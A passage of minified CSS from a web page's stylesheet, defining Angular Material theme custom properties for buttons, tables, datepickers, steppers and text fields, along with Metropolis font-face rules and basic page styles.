.12);--mdc-outlined-button-keep-touch-target:false;--mdc-outlined-button-outline-width:1px;--mdc-outlined-button-container-shape:4px;--mat-text-button-horizontal-padding:8px;--mat-text-button-with-icon-horizontal-padding:8px;--mat-text-button-icon-spacing:8px;--mat-text-button-icon-offset:0;--mat-filled-button-horizontal-padding:16px;--mat-filled-button-icon-spacing:8px;--mat-filled-button-icon-offset:-4px;--mat-protected-button-horizontal-padding:16px;--mat-protected-button-icon-spacing:8px;--mat-protected-button-icon-offset:-4px;--mat-outlined-button-horizontal-padding:15px;--mat-outlined-button-icon-spacing:8px;--mat-outlined-button-icon-offset:-4px}html{--mdc-text-button-label-text-color:black;--mdc-text-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mat-text-button-state-layer-color:black;--mat-text-button-disabled-state-layer-color:black;--mat-text-button-ripple-color:rgba(0, 0, 0, .1);--mat-text-button-hover-state-layer-opacity:.04;--mat-text-button-focus-state-layer-opacity:.12;--mat-text-button-pressed-state-layer-opacity:.12;--mdc-filled-button-container-color:white;--mdc-filled-button-label-text-color:black;--mdc-filled-button-disabled-container-color:rgba(0, 0, 0, .12);--mdc-filled-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mat-filled-button-state-layer-color:black;--mat-filled-button-disabled-state-layer-color:black;--mat-filled-button-ripple-color:rgba(0, 0, 0, .1);--mat-filled-button-hover-state-layer-opacity:.04;--mat-filled-button-focus-state-layer-opacity:.12;--mat-filled-button-pressed-state-layer-opacity:.12;--mdc-protected-button-container-color:white;--mdc-protected-button-label-text-color:black;--mdc-protected-button-disabled-container-color:rgba(0, 0, 0, .12);--mdc-protected-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mat-protected-button-state-layer-color:black;--mat-protected-button-disabled-state-layer-color:black;--mat-protected-button-ripple-color:rgba(0, 0, 0, .1);--mat-protected-button-hover-state-layer-opacity:.04;--mat-protected-button-focus-state-layer-opacity:.12;--mat-protected-button-pressed-state-layer-opacity:.12;--mdc-outlined-button-disabled-outline-color:rgba(0, 0, 0, .12);--mdc-outlined-button-disabled-label-text-color:rgba(0, 0, 0, .38);--mdc-outlined-button-label-text-color:black;--mdc-outlined-button-outline-color:rgba(0, 0, 0, .12);--mat-outlined-button-state-layer-color:black;--mat-outlined-button-disabled-state-layer-color:black;--mat-outlined-button-ripple-color:rgba(0, 0, 0, .1);--mat-outlined-button-hover-state-layer-opacity:.04;--mat-outlined-button-focus-state-layer-opacity:.12;--mat-outlined-button-pressed-state-layer-opacity:.12}html{--mdc-text-button-container-height:36px;--mdc-filled-button-container-height:36px;--mdc-protected-button-container-height:36px;--mdc-outlined-button-container-height:36px;--mat-text-button-touch-target-display:block;--mat-filled-button-touch-target-display:block;--mat-protected-button-touch-target-display:block;--mat-outlined-button-touch-target-display:block}html{--mdc-text-button-label-text-font:Roboto, sans-serif;--mdc-text-button-label-text-size:14px;--mdc-text-button-label-text-tracking:.0892857143em;--mdc-text-button-label-text-weight:500;--mdc-text-button-label-text-transform:none;--mdc-filled-button-label-text-font:Roboto, sans-serif;--mdc-filled-button-label-text-size:14px;--mdc-filled-button-label-text-tracking:.0892857143em;--mdc-filled-button-label-text-weight:500;--mdc-filled-button-label-text-transform:none;--mdc-protected-button-label-text-font:Roboto, sans-serif;--mdc-protected-button-label-text-size:14px;--mdc-protected-button-label-text-tracking:.0892857143em;--mdc-protected-button-label-text-weight:500;--mdc-protected-button-label-text-transform:none;--mdc-outlined-button-label-text-font:Roboto, sans-serif;--mdc-outlined-button-label-text-size:14px;--mdc-outlined-button-label-text-tracking:.0892857143em;--mdc-outlined-button-label-text-weight:500;--mdc-outlined-button-label-text-transform:none}html{--mdc-icon-button-icon-size:24px}html{--mdc-icon-button-icon-color:inherit;--mdc-icon-button-disabled-icon-color:rgba(0, 0, 0, .38);--mat-icon-button-state-layer-color:black;--mat-icon-button-disabled-state-layer-color:black;--mat-icon-button-ripple-color:rgba(0, 0, 0, .1);--mat-icon-button-hover-state-layer-opacity:.04;--mat-icon-button-focus-state-layer-opacity:.12;--mat-icon-button-pressed-state-layer-opacity:.12}html{--mat-icon-button-touch-target-display:block}html{--mdc-fab-container-shape:50%;--mdc-fab-container-elevation-shadow:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mdc-fab-focus-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-hover-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-pressed-container-elevation-shadow:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12);--mdc-fab-small-container-shape:50%;--mdc-fab-small-container-elevation-shadow:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mdc-fab-small-focus-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-small-hover-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-fab-small-pressed-container-elevation-shadow:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12);--mdc-extended-fab-container-height:48px;--mdc-extended-fab-container-shape:24px;--mdc-extended-fab-container-elevation-shadow:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mdc-extended-fab-focus-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-extended-fab-hover-container-elevation-shadow:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mdc-extended-fab-pressed-container-elevation-shadow:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12)}html{--mdc-fab-container-color:white;--mat-fab-foreground-color:black;--mat-fab-state-layer-color:black;--mat-fab-disabled-state-layer-color:black;--mat-fab-ripple-color:rgba(0, 0, 0, .1);--mat-fab-hover-state-layer-opacity:.04;--mat-fab-focus-state-layer-opacity:.12;--mat-fab-pressed-state-layer-opacity:.12;--mat-fab-disabled-state-container-color:rgba(0, 0, 0, .12);--mat-fab-disabled-state-foreground-color:rgba(0, 0, 0, .38);--mdc-fab-small-container-color:white;--mat-fab-small-foreground-color:black;--mat-fab-small-state-layer-color:black;--mat-fab-small-disabled-state-layer-color:black;--mat-fab-small-ripple-color:rgba(0, 0, 0, .1);--mat-fab-small-hover-state-layer-opacity:.04;--mat-fab-small-focus-state-layer-opacity:.12;--mat-fab-small-pressed-state-layer-opacity:.12;--mat-fab-small-disabled-state-container-color:rgba(0, 0, 0, .12);--mat-fab-small-disabled-state-foreground-color:rgba(0, 0, 0, .38)}html{--mat-fab-touch-target-display:block;--mat-fab-small-touch-target-display:block}html{--mdc-extended-fab-label-text-font:Roboto, sans-serif;--mdc-extended-fab-label-text-size:14px;--mdc-extended-fab-label-text-tracking:.0892857143em;--mdc-extended-fab-label-text-weight:500}html{--mdc-snackbar-container-shape:4px}html{--mdc-snackbar-container-color:#333333;--mdc-snackbar-supporting-text-color:rgba(255, 255, 255, .87);--mat-snack-bar-button-color:#ff4081}html{--mdc-snackbar-supporting-text-font:Roboto, sans-serif;--mdc-snackbar-supporting-text-line-height:20px;--mdc-snackbar-supporting-text-size:14px;--mdc-snackbar-supporting-text-weight:400}html{--mat-table-row-item-outline-width:1px}html{--mat-table-background-color:white;--mat-table-header-headline-color:rgba(0, 0, 0, .87);--mat-table-row-item-label-text-color:rgba(0, 0, 0, .87);--mat-table-row-item-outline-color:rgba(0, 0, 0, .12)}html{--mat-table-header-container-height:56px;--mat-table-footer-container-height:52px;--mat-table-row-item-container-height:52px}html{--mat-table-header-headline-font:Roboto, sans-serif;--mat-table-header-headline-line-height:22px;--mat-table-header-headline-size:14px;--mat-table-header-headline-weight:500;--mat-table-header-headline-tracking:.0071428571em;--mat-table-row-item-label-text-font:Roboto, sans-serif;--mat-table-row-item-label-text-line-height:20px;--mat-table-row-item-label-text-size:14px;--mat-table-row-item-label-text-weight:400;--mat-table-row-item-label-text-tracking:.0178571429em;--mat-table-footer-supporting-text-font:Roboto, sans-serif;--mat-table-footer-supporting-text-line-height:20px;--mat-table-footer-supporting-text-size:14px;--mat-table-footer-supporting-text-weight:400;--mat-table-footer-supporting-text-tracking:.0178571429em}html{--mdc-circular-progress-active-indicator-width:4px;--mdc-circular-progress-size:48px}html{--mdc-circular-progress-active-indicator-color:#3f51b5}html{--mat-badge-container-shape:50%;--mat-badge-container-size:unset;--mat-badge-small-size-container-size:unset;--mat-badge-large-size-container-size:unset;--mat-badge-legacy-container-size:22px;--mat-badge-legacy-small-size-container-size:16px;--mat-badge-legacy-large-size-container-size:28px;--mat-badge-container-offset:-11px 0;--mat-badge-small-size-container-offset:-8px 0;--mat-badge-large-size-container-offset:-14px 0;--mat-badge-container-overlap-offset:-11px;--mat-badge-small-size-container-overlap-offset:-8px;--mat-badge-large-size-container-overlap-offset:-14px;--mat-badge-container-padding:0;--mat-badge-small-size-container-padding:0;--mat-badge-large-size-container-padding:0}html{--mat-badge-background-color:#3f51b5;--mat-badge-text-color:white;--mat-badge-disabled-state-background-color:#b9b9b9;--mat-badge-disabled-state-text-color:rgba(0, 0, 0, .38)}html{--mat-badge-text-font:Roboto, sans-serif;--mat-badge-line-height:22px;--mat-badge-text-size:12px;--mat-badge-text-weight:600;--mat-badge-small-size-text-size:9px;--mat-badge-small-size-line-height:16px;--mat-badge-large-size-text-size:24px;--mat-badge-large-size-line-height:28px}html{--mat-bottom-sheet-container-shape:4px}html{--mat-bottom-sheet-container-text-color:rgba(0, 0, 0, .87);--mat-bottom-sheet-container-background-color:white}html{--mat-bottom-sheet-container-text-font:Roboto, sans-serif;--mat-bottom-sheet-container-text-line-height:20px;--mat-bottom-sheet-container-text-size:14px;--mat-bottom-sheet-container-text-tracking:.0178571429em;--mat-bottom-sheet-container-text-weight:400}html{--mat-legacy-button-toggle-height:36px;--mat-legacy-button-toggle-shape:2px;--mat-legacy-button-toggle-focus-state-layer-opacity:1;--mat-standard-button-toggle-shape:4px;--mat-standard-button-toggle-hover-state-layer-opacity:.04;--mat-standard-button-toggle-focus-state-layer-opacity:.12}html{--mat-legacy-button-toggle-text-color:rgba(0, 0, 0, .38);--mat-legacy-button-toggle-state-layer-color:rgba(0, 0, 0, .12);--mat-legacy-button-toggle-selected-state-text-color:rgba(0, 0, 0, .54);--mat-legacy-button-toggle-selected-state-background-color:#e0e0e0;--mat-legacy-button-toggle-disabled-state-text-color:rgba(0, 0, 0, .26);--mat-legacy-button-toggle-disabled-state-background-color:#eeeeee;--mat-legacy-button-toggle-disabled-selected-state-background-color:#bdbdbd;--mat-standard-button-toggle-text-color:rgba(0, 0, 0, .87);--mat-standard-button-toggle-background-color:white;--mat-standard-button-toggle-state-layer-color:black;--mat-standard-button-toggle-selected-state-background-color:#e0e0e0;--mat-standard-button-toggle-selected-state-text-color:rgba(0, 0, 0, .87);--mat-standard-button-toggle-disabled-state-text-color:rgba(0, 0, 0, .26);--mat-standard-button-toggle-disabled-state-background-color:white;--mat-standard-button-toggle-disabled-selected-state-text-color:rgba(0, 0, 0, .87);--mat-standard-button-toggle-disabled-selected-state-background-color:#bdbdbd;--mat-standard-button-toggle-divider-color:#e0e0e0}html{--mat-standard-button-toggle-height:48px}html{--mat-legacy-button-toggle-label-text-font:Roboto, sans-serif;--mat-legacy-button-toggle-label-text-line-height:24px;--mat-legacy-button-toggle-label-text-size:16px;--mat-legacy-button-toggle-label-text-tracking:.03125em;--mat-legacy-button-toggle-label-text-weight:400;--mat-standard-button-toggle-label-text-font:Roboto, sans-serif;--mat-standard-button-toggle-label-text-line-height:24px;--mat-standard-button-toggle-label-text-size:16px;--mat-standard-button-toggle-label-text-tracking:.03125em;--mat-standard-button-toggle-label-text-weight:400}html{--mat-datepicker-calendar-container-shape:4px;--mat-datepicker-calendar-container-touch-shape:4px;--mat-datepicker-calendar-container-elevation-shadow:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mat-datepicker-calendar-container-touch-elevation-shadow:0px 11px 15px -7px rgba(0, 0, 0, .2), 0px 24px 38px 3px rgba(0, 0, 0, .14), 0px 9px 46px 8px rgba(0, 0, 0, .12)}html{--mat-datepicker-calendar-date-selected-state-text-color:white;--mat-datepicker-calendar-date-selected-state-background-color:#3f51b5;--mat-datepicker-calendar-date-selected-disabled-state-background-color:rgba(63, 81, 181, .4);--mat-datepicker-calendar-date-today-selected-state-outline-color:white;--mat-datepicker-calendar-date-focus-state-background-color:rgba(63, 81, 181, .3);--mat-datepicker-calendar-date-hover-state-background-color:rgba(63, 81, 181, .3);--mat-datepicker-toggle-active-state-icon-color:#3f51b5;--mat-datepicker-calendar-date-in-range-state-background-color:rgba(63, 81, 181, .2);--mat-datepicker-calendar-date-in-comparison-range-state-background-color:rgba(249, 171, 0, .2);--mat-datepicker-calendar-date-in-overlap-range-state-background-color:#a8dab5;--mat-datepicker-calendar-date-in-overlap-range-selected-state-background-color:#46a35e;--mat-datepicker-toggle-icon-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-body-label-text-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-period-button-text-color:black;--mat-datepicker-calendar-period-button-icon-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-navigation-button-icon-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-header-divider-color:rgba(0, 0, 0, .12);--mat-datepicker-calendar-header-text-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-date-today-outline-color:rgba(0, 0, 0, .38);--mat-datepicker-calendar-date-today-disabled-state-outline-color:rgba(0, 0, 0, .18);--mat-datepicker-calendar-date-text-color:rgba(0, 0, 0, .87);--mat-datepicker-calendar-date-outline-color:transparent;--mat-datepicker-calendar-date-disabled-state-text-color:rgba(0, 0, 0, .38);--mat-datepicker-calendar-date-preview-state-outline-color:rgba(0, 0, 0, .24);--mat-datepicker-range-input-separator-color:rgba(0, 0, 0, .87);--mat-datepicker-range-input-disabled-state-separator-color:rgba(0, 0, 0, .38);--mat-datepicker-range-input-disabled-state-text-color:rgba(0, 0, 0, .38);--mat-datepicker-calendar-container-background-color:white;--mat-datepicker-calendar-container-text-color:rgba(0, 0, 0, .87)}html{--mat-datepicker-calendar-text-font:Roboto, sans-serif;--mat-datepicker-calendar-text-size:13px;--mat-datepicker-calendar-body-label-text-size:14px;--mat-datepicker-calendar-body-label-text-weight:500;--mat-datepicker-calendar-period-button-text-size:14px;--mat-datepicker-calendar-period-button-text-weight:500;--mat-datepicker-calendar-header-text-size:11px;--mat-datepicker-calendar-header-text-weight:400}html{--mat-divider-width:1px}html{--mat-divider-color:rgba(0, 0, 0, .12)}html{--mat-expansion-container-shape:4px;--mat-expansion-legacy-header-indicator-display:inline-block;--mat-expansion-header-indicator-display:none}html{--mat-expansion-container-background-color:white;--mat-expansion-container-text-color:rgba(0, 0, 0, .87);--mat-expansion-actions-divider-color:rgba(0, 0, 0, .12);--mat-expansion-header-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-expansion-header-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-expansion-header-disabled-state-text-color:rgba(0, 0, 0, .26);--mat-expansion-header-text-color:rgba(0, 0, 0, .87);--mat-expansion-header-description-color:rgba(0, 0, 0, .54);--mat-expansion-header-indicator-color:rgba(0, 0, 0, .54)}html{--mat-expansion-header-collapsed-state-height:48px;--mat-expansion-header-expanded-state-height:64px}html{--mat-expansion-header-text-font:Roboto, sans-serif;--mat-expansion-header-text-size:14px;--mat-expansion-header-text-weight:500;--mat-expansion-header-text-line-height:inherit;--mat-expansion-header-text-tracking:inherit;--mat-expansion-container-text-font:Roboto, sans-serif;--mat-expansion-container-text-line-height:20px;--mat-expansion-container-text-size:14px;--mat-expansion-container-text-tracking:.0178571429em;--mat-expansion-container-text-weight:400}html{--mat-grid-list-tile-header-primary-text-size:14px;--mat-grid-list-tile-header-secondary-text-size:12px;--mat-grid-list-tile-footer-primary-text-size:14px;--mat-grid-list-tile-footer-secondary-text-size:12px}html{--mat-icon-color:inherit}html{--mat-sidenav-container-shape:0;--mat-sidenav-container-elevation-shadow:0px 8px 10px -5px rgba(0, 0, 0, .2), 0px 16px 24px 2px rgba(0, 0, 0, .14), 0px 6px 30px 5px rgba(0, 0, 0, .12);--mat-sidenav-container-width:auto}html{--mat-sidenav-container-divider-color:rgba(0, 0, 0, .12);--mat-sidenav-container-background-color:white;--mat-sidenav-container-text-color:rgba(0, 0, 0, .87);--mat-sidenav-content-background-color:#fafafa;--mat-sidenav-content-text-color:rgba(0, 0, 0, .87);--mat-sidenav-scrim-color:rgba(0, 0, 0, .6)}html{--mat-stepper-header-icon-foreground-color:white;--mat-stepper-header-selected-state-icon-background-color:#3f51b5;--mat-stepper-header-selected-state-icon-foreground-color:white;--mat-stepper-header-done-state-icon-background-color:#3f51b5;--mat-stepper-header-done-state-icon-foreground-color:white;--mat-stepper-header-edit-state-icon-background-color:#3f51b5;--mat-stepper-header-edit-state-icon-foreground-color:white;--mat-stepper-container-color:white;--mat-stepper-line-color:rgba(0, 0, 0, .12);--mat-stepper-header-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-stepper-header-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-stepper-header-label-text-color:rgba(0, 0, 0, .54);--mat-stepper-header-optional-label-text-color:rgba(0, 0, 0, .54);--mat-stepper-header-selected-state-label-text-color:rgba(0, 0, 0, .87);--mat-stepper-header-error-state-label-text-color:#f44336;--mat-stepper-header-icon-background-color:rgba(0, 0, 0, .54);--mat-stepper-header-error-state-icon-foreground-color:#f44336;--mat-stepper-header-error-state-icon-background-color:transparent}html{--mat-stepper-header-height:72px}html{--mat-stepper-container-text-font:Roboto, sans-serif;--mat-stepper-header-label-text-font:Roboto, sans-serif;--mat-stepper-header-label-text-size:14px;--mat-stepper-header-label-text-weight:400;--mat-stepper-header-error-state-label-text-size:16px;--mat-stepper-header-selected-state-label-text-size:16px;--mat-stepper-header-selected-state-label-text-weight:400}html{--mat-sort-arrow-color:#757575}html{--mat-toolbar-container-background-color:whitesmoke;--mat-toolbar-container-text-color:rgba(0, 0, 0, .87)}html{--mat-toolbar-standard-height:64px;--mat-toolbar-mobile-height:56px}html{--mat-toolbar-title-text-font:Roboto, sans-serif;--mat-toolbar-title-text-line-height:32px;--mat-toolbar-title-text-size:20px;--mat-toolbar-title-text-tracking:.0125em;--mat-toolbar-title-text-weight:500}html{--mat-tree-container-background-color:white;--mat-tree-node-text-color:rgba(0, 0, 0, .87)}html{--mat-tree-node-min-height:48px}html{--mat-tree-node-text-font:Roboto, sans-serif;--mat-tree-node-text-size:14px;--mat-tree-node-text-weight:400}@charset "UTF-8";html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}html{box-sizing:border-box}*,*:before,*:after{box-sizing:inherit}@font-face{font-family:Metropolis;src:url(Metropolis-SemiBold.d2e20fff26a63d07.woff2) format("woff2"),url(Metropolis-SemiBold.cd375299130b7a7d.woff) format("woff");font-weight:500;font-style:normal;font-display:swap}@font-face{font-family:Metropolis;src:url(Metropolis-Medium.2d9d39a57d953c79.woff2) format("woff2"),url(Metropolis-Medium.72538f9aacc6bafa.woff) format("woff");font-weight:400;font-style:normal;font-display:swap}@font-face{font-family:Metropolis;src:url(Metropolis-Bold.95361de5b5275a58.woff2) format("woff2"),url(Metropolis-Bold.bec97d68326a53ea.woff) format("woff");font-weight:700;font-style:normal;font-display:swap}iframe{max-width:100%}html{background-color:#f8f8f8;color:#53565a;font-family:Metropolis,sans-serif;font-weight:400;height:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{background-color:#f8f8f8;height:100%}@media print{html{background-color:transparent!important}body{background-color:transparent!important;background-image:none!important;color:#000!important}}</style><style>html{--mat-ripple-color:rgba(0, 0, 0, .1)}html{--mat-option-selected-state-label-text-color:#3f51b5;--mat-option-label-text-color:rgba(0, 0, 0, .87);--mat-option-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-option-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-option-selected-state-layer-color:rgba(0, 0, 0, .04)}html{--mat-optgroup-label-text-color:rgba(0, 0, 0, .87)}html{--mat-full-pseudo-checkbox-selected-icon-color:#ff4081;--mat-full-pseudo-checkbox-selected-checkmark-color:#fafafa;--mat-full-pseudo-checkbox-unselected-icon-color:rgba(0, 0, 0, .54);--mat-full-pseudo-checkbox-disabled-selected-checkmark-color:#fafafa;--mat-full-pseudo-checkbox-disabled-unselected-icon-color:#b0b0b0;--mat-full-pseudo-checkbox-disabled-selected-icon-color:#b0b0b0;--mat-minimal-pseudo-checkbox-selected-checkmark-color:#ff4081;--mat-minimal-pseudo-checkbox-disabled-selected-checkmark-color:#b0b0b0}html{--mat-app-background-color:#fafafa;--mat-app-text-color:rgba(0, 0, 0, .87);--mat-app-elevation-shadow-level-0:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-1:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-2:0px 3px 1px -2px rgba(0, 0, 0, .2), 0px 2px 2px 0px rgba(0, 0, 0, .14), 0px 1px 5px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-3:0px 3px 3px -2px rgba(0, 0, 0, .2), 0px 3px 4px 0px rgba(0, 0, 0, .14), 0px 1px 8px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-4:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-5:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 5px 8px 0px rgba(0, 0, 0, .14), 0px 1px 14px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-6:0px 3px 5px -1px rgba(0, 0, 0, .2), 0px 6px 10px 0px rgba(0, 0, 0, .14), 0px 1px 18px 0px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-7:0px 4px 5px -2px rgba(0, 0, 0, .2), 0px 7px 10px 1px rgba(0, 0, 0, .14), 0px 2px 16px 1px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-8:0px 5px 5px -3px rgba(0, 0, 0, .2), 0px 8px 10px 1px rgba(0, 0, 0, .14), 0px 3px 14px 2px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-9:0px 5px 6px -3px rgba(0, 0, 0, .2), 0px 9px 12px 1px rgba(0, 0, 0, .14), 0px 3px 16px 2px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-10:0px 6px 6px -3px rgba(0, 0, 0, .2), 0px 10px 14px 1px rgba(0, 0, 0, .14), 0px 4px 18px 3px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-11:0px 6px 7px -4px rgba(0, 0, 0, .2), 0px 11px 15px 1px rgba(0, 0, 0, .14), 0px 4px 20px 3px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-12:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 12px 17px 2px rgba(0, 0, 0, .14), 0px 5px 22px 4px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-13:0px 7px 8px -4px rgba(0, 0, 0, .2), 0px 13px 19px 2px rgba(0, 0, 0, .14), 0px 5px 24px 4px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-14:0px 7px 9px -4px rgba(0, 0, 0, .2), 0px 14px 21px 2px rgba(0, 0, 0, .14), 0px 5px 26px 4px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-15:0px 8px 9px -5px rgba(0, 0, 0, .2), 0px 15px 22px 2px rgba(0, 0, 0, .14), 0px 6px 28px 5px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-16:0px 8px 10px -5px rgba(0, 0, 0, .2), 0px 16px 24px 2px rgba(0, 0, 0, .14), 0px 6px 30px 5px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-17:0px 8px 11px -5px rgba(0, 0, 0, .2), 0px 17px 26px 2px rgba(0, 0, 0, .14), 0px 6px 32px 5px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-18:0px 9px 11px -5px rgba(0, 0, 0, .2), 0px 18px 28px 2px rgba(0, 0, 0, .14), 0px 7px 34px 6px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-19:0px 9px 12px -6px rgba(0, 0, 0, .2), 0px 19px 29px 2px rgba(0, 0, 0, .14), 0px 7px 36px 6px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-20:0px 10px 13px -6px rgba(0, 0, 0, .2), 0px 20px 31px 3px rgba(0, 0, 0, .14), 0px 8px 38px 7px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-21:0px 10px 13px -6px rgba(0, 0, 0, .2), 0px 21px 33px 3px rgba(0, 0, 0, .14), 0px 8px 40px 7px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-22:0px 10px 14px -6px rgba(0, 0, 0, .2), 0px 22px 35px 3px rgba(0, 0, 0, .14), 0px 8px 42px 7px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-23:0px 11px 14px -7px rgba(0, 0, 0, .2), 0px 23px 36px 3px rgba(0, 0, 0, .14), 0px 9px 44px 8px rgba(0, 0, 0, .12);--mat-app-elevation-shadow-level-24:0px 11px 15px -7px rgba(0, 0, 0, .2), 0px 24px 38px 3px rgba(0, 0, 0, .14), 0px 9px 46px 8px rgba(0, 0, 0, .12)}html{--mat-option-label-text-font:Roboto, sans-serif;--mat-option-label-text-line-height:24px;--mat-option-label-text-size:16px;--mat-option-label-text-tracking:.03125em;--mat-option-label-text-weight:400}html{--mat-optgroup-label-text-font:Roboto, sans-serif;--mat-optgroup-label-text-line-height:24px;--mat-optgroup-label-text-size:16px;--mat-optgroup-label-text-tracking:.03125em;--mat-optgroup-label-text-weight:400}html{--mdc-elevated-card-container-shape:4px;--mdc-outlined-card-container-shape:4px;--mdc-outlined-card-outline-width:1px}html{--mdc-elevated-card-container-color:white;--mdc-elevated-card-container-elevation:0px 2px 1px -1px rgba(0, 0, 0, .2), 0px 1px 1px 0px rgba(0, 0, 0, .14), 0px 1px 3px 0px rgba(0, 0, 0, .12);--mdc-outlined-card-container-color:white;--mdc-outlined-card-outline-color:rgba(0, 0, 0, .12);--mdc-outlined-card-container-elevation:0px 0px 0px 0px rgba(0, 0, 0, .2), 0px 0px 0px 0px rgba(0, 0, 0, .14), 0px 0px 0px 0px rgba(0, 0, 0, .12);--mat-card-subtitle-text-color:rgba(0, 0, 0, .54)}html{--mat-card-title-text-font:Roboto, sans-serif;--mat-card-title-text-line-height:32px;--mat-card-title-text-size:20px;--mat-card-title-text-tracking:.0125em;--mat-card-title-text-weight:500;--mat-card-subtitle-text-font:Roboto, sans-serif;--mat-card-subtitle-text-line-height:22px;--mat-card-subtitle-text-size:14px;--mat-card-subtitle-text-tracking:.0071428571em;--mat-card-subtitle-text-weight:500}html{--mdc-linear-progress-active-indicator-height:4px;--mdc-linear-progress-track-height:4px;--mdc-linear-progress-track-shape:0}html{--mdc-plain-tooltip-container-shape:4px;--mdc-plain-tooltip-supporting-text-line-height:16px}html{--mdc-plain-tooltip-container-color:#616161;--mdc-plain-tooltip-supporting-text-color:#fff}html{--mdc-plain-tooltip-supporting-text-font:Roboto, sans-serif;--mdc-plain-tooltip-supporting-text-size:12px;--mdc-plain-tooltip-supporting-text-weight:400;--mdc-plain-tooltip-supporting-text-tracking:.0333333333em}html{--mdc-filled-text-field-active-indicator-height:1px;--mdc-filled-text-field-focus-active-indicator-height:2px;--mdc-filled-text-field-container-shape:4px;--mdc-outlined-text-field-outline-width:1px;--mdc-outlined-text-field-focus-outline-width:2px;--mdc-outlined-text-field-container-shape:4px}html{--mdc-filled-text-field-caret-color:#3f51b5;--mdc-filled-text-field-focus-active-indicator-color:#3f51b5;--mdc-filled-text-field-focus-label-text-color:rgba(63, 81, 181, .87);--mdc-filled-text-field-container-color:whitesmoke;--mdc-filled-text-field-disabled-container-color:#fafafa;--mdc-filled-text-field-label-text-color:rgba(0, 0, 0, .6);--mdc-filled-text-field-hover-label-text-color:rgba(0, 0, 0, .6);--mdc-filled-text-field-disabled-label-text-color:rgba(0, 0, 0, .38);--mdc-filled-text-field-input-text-color:rgba(0, 0, 0, .87);--mdc-filled-text-field-disabled-input-text-color:rgba(0, 0, 0, 